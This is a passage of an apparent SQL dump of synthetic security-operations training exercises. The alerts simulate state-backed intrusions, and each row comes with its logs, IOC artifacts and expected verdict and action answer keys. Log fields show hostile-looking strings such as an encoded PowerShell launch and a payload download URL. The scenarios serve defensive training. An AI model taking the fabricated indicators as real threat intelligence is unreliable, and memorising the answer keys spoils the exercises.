immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1467, 'Execution of Malicious Payload', 'high', 'Endpoint Detection Systems', 'Upon successful credential compromise, Salt Typhoon deploys a malicious payload to execute within federal systems, establishing a foothold. The payload was executed on a compromised endpoint.', 'Malware Deployment', 'T1059: Command and Scripting Interpreter', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-12T14:32:45Z\",\"event_id\":\"EDR-56789\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.15\",\"destination_username\":\"jdoe\",\"file_name\":\"payload.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"process_command_line\":\"C:\\\\Windows\\\\System32\\\\cmd.exe /c payload.exe\",\"detection_method\":\"Behavioral Analysis\",\"severity\":\"High\",\"status\":\"Malicious\"}', '2026-03-10 17:44:09', '2026-03-11 02:38:07', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Associated with known APT activities.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Corporate endpoint device.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"malicious\",\"details\":\"Identified as part of Salt Typhoon malware toolkit.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware sample.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Recent account compromise detected.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1468, 'Persistence through Backdoor Installation', 'high', 'Network Traffic Analysis', 'The attackers have installed a sophisticated backdoor to ensure sustained access to the compromised network. This backdoor allows them to maintain presence even if initial malware is detected and removed.', 'Persistence Mechanism', 'T1105 - Ingress Tool Transfer', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-03T14:23:45Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.5\",\"protocol\":\"TCP\",\"destination_port\":4444,\"filename\":\"backdoor_installer.exe\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"username\":\"jdoe\",\"event_type\":\"file_download\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\",\"action\":\"download\",\"status\":\"successful\"}', '2026-03-10 17:44:09', '2026-03-11 02:38:07', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Asset Database\",\"verdict\":\"internal\",\"details\":\"Corporate workstation\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"backdoor_installer.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Anti-malware Database\",\"verdict\":\"malicious\",\"details\":\"Backdoor installation executable\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1469, 'Lateral Movement to Wiretap Systems', 'high', 'Internal Network Monitoring', 'Using stolen credentials, an attacker has moved laterally within the network, attempting to access federal wiretap systems. The attack was detected at step 4, where unauthorized login attempts were observed from an internal host to a sensitive wiretap server.', 'Credential Access', 'T1078: Valid Accounts', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-15T14:25:37Z\",\"event_id\":\"4624\",\"hostname\":\"internal-host-3\",\"source_ip\":\"10.0.5.12\",\"destination_ip\":\"192.168.1.50\",\"destination_hostname\":\"wiretap-server-01\",\"username\":\"jdoe\",\"domain\":\"CORP\",\"logon_type\":\"3\",\"authentication_package\":\"Kerberos\",\"logon_process\":\"User32\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"status\":\"Success\"}', '2026-03-10 17:44:09', '2026-03-11 02:38:07', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.5.12\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the host used for lateral movement.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"IP address of the target wiretap server.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"suspicious\",\"details\":\"Username used for unauthorized access attempts.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"Hash of the process used during login.\"}}],\"recommended_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1470, 'Exfiltration of Sensitive Communications', 'high', 'Data Loss Prevention Tools', 'Salt Typhoon has initiated the exfiltration of sensitive wiretap communications using a known malicious external IP address. This activity is consistent with their objective to deliver intelligence to their sponsors.', 'Data Exfiltration', 'T1041', 1, 'Closed', 225, '{\"timestamp\":\"2023-10-05T14:23:34Z\",\"event_id\":\"data_exfiltration_001\",\"source_ip\":\"192.168.1.10\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":443,\"protocol\":\"HTTPS\",\"username\":\"jdoe\",\"exfil_filename\":\"wiretap_data.zip\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"event_description\":\"Data exfiltration detected from internal network to external IP.\",\"action_taken\":\"Alert triggered\"}', '2026-03-10 17:44:09', '2026-03-11 02:38:07', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the suspected host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with data exfiltration activities.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"wiretap_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Monitoring\",\"verdict\":\"suspicious\",\"details\":\"Sensitive file containing wiretap communications.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Hash Database\",\"verdict\":\"malicious\",\"details\":\"File hash associated with exfiltrated sensitive data.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"User Account Database\",\"verdict\":\"internal\",\"details\":\"Username of the account used for data exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-11T02:38:07.706Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:34Z\\\",\\\"event_id\\\":\\\"data_exfiltration_001\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfil_filename\\\":\\\"wiretap_data.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"event_description\\\":\\\"Data exfiltration detected from internal network to external IP.\\\",\\\"action_taken\\\":\\\"Alert triggered\\\"}\"},{\"timestamp\":\"2026-03-11T02:37:07.706Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:34Z\\\",\\\"event_id\\\":\\\"data_exfiltration_001\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfil_filename\\\":\\\"wiretap_data.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"event_description\\\":\\\"Data exfiltration detected from internal network to external IP.\\\",\\\"action_taken\\\":\\\"Alert triggered\\\"}\"},{\"timestamp\":\"2026-03-11T02:36:07.706Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:34Z\\\",\\\"event_id\\\":\\\"data_exfiltration_001\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfil_filename\\\":\\\"wiretap_data.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"event_description\\\":\\\"Data exfiltration detected from internal network to external IP.\\\",\\\"action_taken\\\":\\\"Alert triggered\\\"}\"},{\"timestamp\":\"2026-03-11T02:35:07.706Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:34Z\\\",\\\"event_id\\\":\\\"data_exfiltration_001\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfil_filename\\\":\\\"wiretap_data.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"event_description\\\":\\\"Data exfiltration detected from internal network to external IP.\\\",\\\"action_taken\\\":\\\"Alert triggered\\\"}\"},{\"timestamp\":\"2026-03-11T02:34:07.706Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:34Z\\\",\\\"event_id\\\":\\\"data_exfiltration_001\\\",\\\"source_ip\\\":\\\"192.168.1.10\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"destination_port\\\":443,\\\"protocol\\\":\\\"HTTPS\\\",\\\"username\\\":\\\"jdoe\\\",\\\"exfil_filename\\\":\\\"wiretap_data.zip\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"event_description\\\":\\\"Data exfiltration detected from internal network to external IP.\\\",\\\"action_taken\\\":\\\"Alert triggered\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1471, 'Initial Access via Phishing Campaign', 'high', 'Email Security Gateway', 'Hidden Cobra initiates their campaign with a wave of spear-phishing emails, targeting employees within the entertainment sector, aiming to gain a foothold in the network.', 'Social Engineering', 'T1566 - Phishing', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:45:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.25\",\"source_email\":\"malicious_sender@compromised-domain.com\",\"destination_email\":\"employee@entertainmentcorp.com\",\"subject\":\"Urgent: Action Required\",\"attachment\":{\"filename\":\"Invoice_2023.pdf\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"},\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36\",\"malicious_url\":\"http://malicious-download.com/payload.exe\"}', '2026-03-15 19:06:37', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Known IP address associated with Hidden Cobra activities.\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"malicious_sender@compromised-domain.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence\",\"verdict\":\"malicious\",\"details\":\"Associated with previous phishing campaigns.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash known for delivering malware.\"}},{\"id\":\"artifact_4\",\"type\":\"url\",\"value\":\"http://malicious-download.com/payload.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"URL hosting known malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Initial Access via Phishing Campaign\",\"date\":\"2026-03-15T20:58:14.812Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1472, 'Execution of Destover Wiper', 'high', 'Endpoint Detection and Response (EDR)', 'Once inside the network, Hidden Cobra deploys a modified variant of the Destover wiper, aiming to destroy data and disrupt services within critical infrastructure. This alert was triggered following the execution of the Destover payload on a compromised host.', 'Malware Deployment', 'T1485: Data Destruction', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:23:45Z\",\"event_id\":\"123456\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.100\",\"user\":\"compromised_user\",\"process_name\":\"destover.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"detected_action\":\"File execution\",\"host\":\"critical-infra-host\",\"severity\":\"high\",\"event_description\":\"Execution of known wiper malware variant on critical host\"}', '2026-03-15 19:06:37', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Hidden Cobra operations\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Critical infrastructure host\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"suspicious\",\"details\":\"User account used during malware execution\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"destover.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Executable file associated with Destover wiper\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as Destover malware variant\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1473, 'Establishing Persistence through Backdoors', 'high', 'Network Traffic Analysis', 'Anomalous traffic indicative of backdoor installation by Lazarus Group was detected. External communication with a known malicious IP and suspicious file transfer suggest an attempt to establish persistent access to compromised systems.', 'Backdoor Installation', 'T1059.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"203.0.113.45\",\"dst_port\":443,\"protocol\":\"HTTPS\",\"filename\":\"sysupdate.dll\",\"hash\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"user\":\"compromised_user\",\"action\":\"file_transfer\",\"direction\":\"outbound\",\"alert\":\"Suspicious Backdoor Installation Attempt\"}', '2026-03-15 19:06:37', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known C2 server associated with Lazarus Group.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of compromised machine.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"sysupdate.dll\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Report\",\"verdict\":\"malicious\",\"details\":\"File used by Lazarus Group for persistence.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5f4dcc3b5aa765d61d8327deb882cf99\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with a known backdoor used by Lazarus Group.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"suspicious\",\"details\":\"User credentials possibly compromised.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1474, 'Lateral Movement in Financial Systems', 'high', 'Internal Network Logs', 'Hidden Cobra extends its reach, moving laterally across the network, seeking to map out and understand the layout of Turkish financial systems for potential future exploitation.', 'Network Propagation', 'T1570: Lateral Movement', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:10Z\",\"event_id\":\"LM-202310151432\",\"src_ip\":\"192.168.1.45\",\"dst_ip\":\"10.0.2.15\",\"attacker_ip\":\"203.0.113.5\",\"username\":\"jdoe\",\"malware_hash\":\"e99a18c428cb38d5f260853678922e03\",\"filename\":\"fin_map_tool.exe\",\"event_type\":\"file_transfer\",\"action\":\"succeeded\",\"protocol\":\"SMB\",\"description\":\"Malicious tool transferred for lateral movement in financial systems\"}', '2026-03-15 19:06:37', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP associated with lateral movement attempt\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.2.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP targeted by attacker for lateral movement\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with Hidden Cobra operations\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"malware_db\",\"verdict\":\"malicious\",\"details\":\"Hash associated with financial system mapping malware linked to Hidden Cobra\"}},{\"id\":\"artifact_5\",\"type\":\"filename\",\"value\":\"fin_map_tool.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"file_analysis\",\"verdict\":\"malicious\",\"details\":\"File used for network mapping in financial systems\"}},{\"id\":\"artifact_6\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal_logs\",\"verdict\":\"suspicious\",\"details\":\"User account potentially compromised for lateral movement\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1475, 'Data Exfiltration and Reconnaissance', 'high', 'Data Loss Prevention (DLP)', 'The final stage of the operation involves exfiltrating sensitive data, including financial transaction details, to support intelligence and financial theft objectives. Detected data exfiltration activity from an internal network to an external IP address associated with known Lazarus Group operations.', 'Exfiltration', 'T1048 - Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:00Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"10.20.30.40\",\"destination_ip\":\"203.0.113.45\",\"filename\":\"financial_transactions_2023.csv\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"user\":\"j.doe\",\"action\":\"exfiltration_attempt\",\"protocol\":\"HTTPS\",\"bytes_sent\":1048576,\"detection_method\":\"DLP\"}', '2026-03-15 19:06:37', '2026-03-15 20:58:14', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP address associated with Lazarus Group activities.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Analysis Database\",\"verdict\":\"malicious\",\"details\":\"File hash linked to data exfiltration malware.\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.20.30.40\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal source IP address.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"financial_transactions_2023.csv\",\"is_critical\":true,\"osint_result\":{\"source\":\"Security Audit Logs\",\"verdict\":\"malicious\",\"details\":\"Sensitive financial data targeted for exfiltration.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'intermediate', NULL, 1, 0, NULL, NULL, NULL, 